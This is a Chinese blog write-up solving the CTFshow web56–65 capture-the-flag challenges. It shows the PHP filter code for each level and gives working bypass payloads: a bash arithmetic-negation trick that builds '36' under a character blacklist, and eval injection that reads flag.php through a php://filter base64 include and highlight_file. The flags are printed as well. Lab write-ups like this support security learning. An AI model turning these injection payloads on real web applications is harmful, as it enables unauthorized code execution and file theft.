• CTFshow web56 57 58 59 60-65


    web56

    代码分析:

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
    4. system($c);
    5. }

    这块跟55类似,但是把数字也过滤了,意思是,/???/????64 不能用了,因为这里是靠64匹配的,数字没了所以就用不了了,但是.还是没过滤,可以使用.执行

    payload:

    详细介绍在前面的文章中——传送门

    使用上传网页,上传个txt,抓包修改,发送到重发器,因为最后一位不一定为大写字母所以多发几次就有结果

     

    flag:

    ctfshow{1aca122d-266a-42a3-ab31-7ba3800c2277}

    web57

    代码分析:

    1. //flag in 36.php
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
    5. system("cat ".$c.".php");
    6. }
    7. }else{

    提示了flag在36.php,下面甚至cat 和.php都给了,其实就是想办法构造36出来,看了大佬的解,发现在linux中$(())表示运算符计算,且默认相加 默认相加很重要的,然后~是取反的意思

    尝试了一下 $(())=0,$((~ $(())))=-1 ,$((~ 36))=-37

     

    $((~ -37))=36,所以就要构造一个 $((~ -37)),而刚刚提到$(())默认相加,尝试一下

    $(($((~ $(()))) $((~ $(()))) $((~ $(())))))

    所以写37个 $((~ $(()))) 就能得到-37 再用~取反 得到36

     

    payload:

    $((~ $(($((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(())))$((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) ))))

    ps:flag在F12中

    flag:

    ctfshow{d0d4cca2-b564-4c68-81bc-db28481f7249}

    web58

    代码分析:

    1. if(isset($_POST['c'])){
    2. $c= $_POST['c'];
    3. eval($c);
    4. }else{

    变成post方法传参了,直接掏出hackbar

    试了一下c=system('ls');

     出于安全性考虑已被禁用,passthru、shell_exec、exec都被禁用了,考虑文件包含或者highlight_file

    payload:

    c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    c=highlight_file("flag.php");

    base64 falg: 

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3Yjg3ODk5NS1jMGU5LTRiMWEtODljMC0zZTg1NTc2YmQ5ZjN9Ijs= 

     

     解法二

    flag:

     ctfshow{7b878995-c0e9-4b1a-89c0-3e85576bd9f3}

    web59

    代码分析:

    1. if(isset($_POST['c'])){
    2. $c= $_POST['c'];
    3. eval($c);

    跟上一关一样

    payload:

    c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    c=highlight_file("flag.php");

    flag:

    ctfshow{f3be9bd8-55e2-4a59-9973-70ae3ddb8074}

    web60

    代码分析:

    1. if(isset($_POST['c'])){
    2. $c= $_POST['c'];
    3. eval($c);
    4. }else{
    5. highlight_file(__FILE__);
    6. }

     跟上一关一样

    payload:

    c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    c=highlight_file("flag.php");

    flag:

    ctfshow{41197111-be3c-4c5a-89d3-378cc8e8a003}

    web61-65

    都和前面一样

  • 相关阅读:
    Web Components详解-Shadow DOM样式控制
    好高的佣金,《新程序员》合伙人计划来袭,人人皆可参与
    Bus 消息总线
    web网页设计期末课程大作业 我的美丽家乡盐城 HTML+CSS+JavaScript
    如何使用 Grafana 监控文件系统状态
    模拟电子技术(六)信号的运算与处理
    TVS二极管的小知识
    java源码系列:ArrayList的底层实现原理和特性
    C/CPP基础练习题多维数组,矩阵转置,杨辉三角详解
    OS--学习笔记:调度与死锁
  • 原文地址:https://blog.csdn.net/qq_40345591/article/details/127823831